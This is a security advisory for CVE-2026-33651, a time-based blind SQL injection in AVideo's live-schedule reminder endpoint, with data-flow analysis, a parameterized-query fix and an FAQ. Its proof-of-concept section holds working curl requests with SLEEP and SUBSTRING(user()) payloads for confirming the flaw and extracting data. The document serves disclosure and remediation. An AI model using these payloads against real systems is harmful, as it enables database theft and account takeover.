CVE-2026-33651

The remindMe.json.php endpoint passes $_REQUEST['live_schedule_id'] through multiple functions without sanitization until it reaches Scheduler_commands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Live_schedule(), getUsers_idOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.

Details

The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:

Step 1, User input (no sanitization):
plugin/Live/remindMe.json.php:15:

$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Step 2, Auth check passes for any user:
plugin/Live/Live.php:4126:

if (!User::isLogged()) {
    $obj->msg = __('Must be logged');
    return $obj;
}

Step 3, intval() applied only internally, original variable unchanged:
plugin/Live/Live.php:4141-4143:

$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only
$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same

objects/Object.php:84 (inside getFromDb()):

$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable

With input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $live_schedule_id remains 1" AND SLEEP(5) --.

Step 4, Tainted value flows to type string construction:
plugin/Live/Live.php:4152 → Live.php:4193-4194:

$reminders = self::getLiveScheduleReminders($live_schedule_id);

// getLiveScheduleReminders calls:
$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);
// which builds: "LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}"
return Scheduler_commands::getAllActiveOrToRepeat($type);

Step 5, SQL injection sink:
plugin/Scheduler/Objects/Scheduler_commands.php:340-347:

$sql = "SELECT * FROM " . static::getTableName() . " WHERE (status='a' OR status='r') ";
if(!empty($type)){
    $sql .= ' AND `type` LIKE "'.$type.'%" ';  // LINE 343: direct concatenation
}
$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization

PoC

Prerequisites: Any authenticated user session, at least one live_schedule record (ID=1).

Step 1, Baseline request (should return quickly):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  "http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10"

Expected: response in ~0.1-0.5s

Step 2, Time-based injection (5 second delay):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND SLEEP(5) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

Expected: response delayed by ~5 seconds, confirming injection.

The resulting SQL becomes:

SELECT * FROM scheduler_commands
WHERE (status='a' OR status='r')
  AND `type` LIKE "LiveScheduleReminder_123_1" AND SLEEP(5) -- %"

Step 3, Data extraction (example: first character of database user):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

If the response is delayed 5 seconds, the first character of user() is r.

• Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.
• Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.
• Account takeover: Extracted admin password hashes or session tokens enable full platform compromise.
• Low barrier: Only requires a basic authenticated account, no admin privileges needed.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-33651 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Option 1, Parameterize the query in Scheduler_commands::getAllActiveOrToRepeat():

plugin/Scheduler/Objects/Scheduler_commands.php:335-347:

public static function getAllActiveOrToRepeat($type='') {
    global $global;
    if (!static::isTableInstalled()) {
        return false;
    }
    $sql = "SELECT * FROM " . static::getTableName() . " WHERE (status=? OR status=?) ";
    $formats = "ss";
    $values = [self::$statusActive, self::$statusRepeat];

    if(!empty($type)){
        $sql .= ' AND `type` LIKE ? ';
        $formats .= "s";
        $values[] = $type . "%";
    }

    $sql .= self::getSqlFromPost();
    $res = sqlDAL::readSql($sql, $formats, $values);
    $fullData = sqlDAL::fetchAllAssoc($res);
    sqlDAL::close($res);
    $rows = array();
    if ($res != false) {
        foreach ($fullData as $row) {
            $rows[] = $row;
        }
    }
    return $rows;
}

Option 2, Additionally sanitize at the entry point:

plugin/Live/remindMe.json.php:15 (defense in depth):

$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);
$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Both fixes should be applied for defense in depth.

1. What is CVE-2026-33651? CVE-2026-33651 is a high-severity SQL injection vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-33651? CVE-2026-33651 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-33651? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-33651? No fixed version is listed for CVE-2026-33651 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33651 exploitable, and should I be worried? Whether CVE-2026-33651 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

6. What actually determines whether CVE-2026-33651 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33651? No fixed version is listed yet. In the interim: Use parameterized queries or prepared statements so user input is always treated as data, never as SQL syntax.
